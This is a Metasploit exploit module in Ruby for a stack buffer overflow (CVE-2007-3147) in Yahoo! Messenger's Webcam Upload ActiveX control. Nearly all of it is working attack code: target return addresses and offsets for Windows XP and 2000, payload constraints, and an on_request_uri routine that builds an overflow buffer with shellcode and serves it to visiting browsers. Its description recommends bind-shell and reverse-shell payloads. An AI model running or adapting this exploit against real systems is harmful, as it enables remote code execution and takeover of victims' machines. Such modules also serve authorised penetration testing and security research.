## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in the Yahoo! Webcam Upload ActiveX Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249. By sending a overly long string to the "Server()" method, and then calling the "Send()" method, an attacker may be able to execute arbitrary code. Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp" yield for the best results. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-3147' ], [ 'OSVDB', '37082' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ], [ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ] ], 'DisclosureDate' => 'June 5 2007', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500) # Build out the message content = %Q| | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end